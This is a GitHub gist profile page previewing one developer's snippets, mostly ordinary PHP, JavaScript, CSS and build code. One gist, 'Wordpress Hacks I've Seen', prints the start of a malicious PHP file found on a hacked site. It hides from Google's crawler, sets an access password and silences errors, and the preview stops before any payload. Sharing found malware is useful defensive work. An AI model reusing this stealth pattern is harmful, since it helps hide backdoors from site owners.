Skip to content

Instantly share code, notes, and snippets.

View kreitje's full-sized avatar

Jeff Kreitner kreitje

View GitHub Profile
@kreitje
kreitje / mobileredirect.php
Created October 20, 2011 21:22
PHP Mobile Browser Detection
<?php
/**
* From http://detectmobilebrowsers.com/
**/
$useragent=$_SERVER['HTTP_USER_AGENT'];
if(preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris
@kreitje
kreitje / gist:1310424
Created October 24, 2011 21:46
jQueryTools DateInput (Fixes Selectors)
/**
* @license
* jQuery Tools @VERSION Dateinput - <input type="date" /> for humans
*
* NO COPYRIGHTS OR LICENSES. DO WHAT YOU LIKE.
*
* http://flowplayer.org/tools/form/dateinput/
*
* Since: Mar 2010
* Date: @DATE
@kreitje
kreitje / database.php
Created November 9, 2011 23:28
HMS Invoices database.php
<?php
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'enter-your-username';
$db['default']['password'] = 'enter-your-password';
$db['default']['database'] = 'enter-your-database-name';
@kreitje
kreitje / gist:1627281
Created January 17, 2012 16:15
OSX XAMPP MakeFile
####
### Changes to let mod_wsgi install over OSX under XAMPP
###
### Changes:
### Changed "-arch ppc" in the CFLAGS and LDFLAGS to "-arch x86_64"
###
# Copyright 2007 GRAHAM DUMPLETON
#
# Licensed under the Apache License, Version 2.0 (the "License");
@kreitje
kreitje / data.php
Created February 27, 2012 22:51
Wordpress Hacks I've Seen
/** This comment is added by Jeff. File name was data.php found in the main wordpress directory. **/
<?php
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
$auth_pass = "99cbbc16c290d7024f7bcac74283a516";
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@kreitje
kreitje / WP.md
Created May 7, 2012 19:35
Wordpress Best Practices

Wordpress Best Practices

Install

  • Install the newest version only
  • Don't install from cpanel/fantastico. Do it yourself.
  • Change the secret keys in wp-config.php to something different
  • Change the database prefix in wp-config.php from the default wp_
  • Install only necessary plugins (prevents exploits from direct input)
  • Remove unused themes (prevents exploits from direct input)
  • Remove unused plugins
<form method="post" action="http://thedancingrobot.com/valuebp/login-value.php">
<input type="text" name="login" placeholder="- login -" /><br />
<input type="password" name="password" placeholder="- password -" /><br />
<input type="submit" value="login" />
</form>
@kreitje
kreitje / floats.html
Created November 8, 2012 17:35
CSS Floats
<html>
<head>
<title>Float Example</title>
<style type="text/css">
/**
* This CSS is only for the demo and doesn't affect floats
**/
div {
border:1px solid #000;
# Where is the folder with the code
mp=/Users/kreitje/Development/wordpresspluginmanager
# Where is it going to
rp=/Users/kreitje/Desktop/WPM
echo "Removing old directories"
echo "Creating new directories"
rm -rf /Users/kreitje/Desktop/WPM
mkdir -p /Users/kreitje/Desktop/WPM/Default
@kreitje
kreitje / recaptchalib.php
Created August 3, 2013 15:22
Slightly modified recaptchalib.php for decoding fsockopen errors
<?php
/*
* This is a PHP library that handles calling reCAPTCHA.
* - Documentation and latest version
* http://recaptcha.net/plugins/php/
* - Get a reCAPTCHA API Key
* https://www.google.com/recaptcha/admin/create
* - Discussion group
* http://groups.google.com/group/recaptcha
*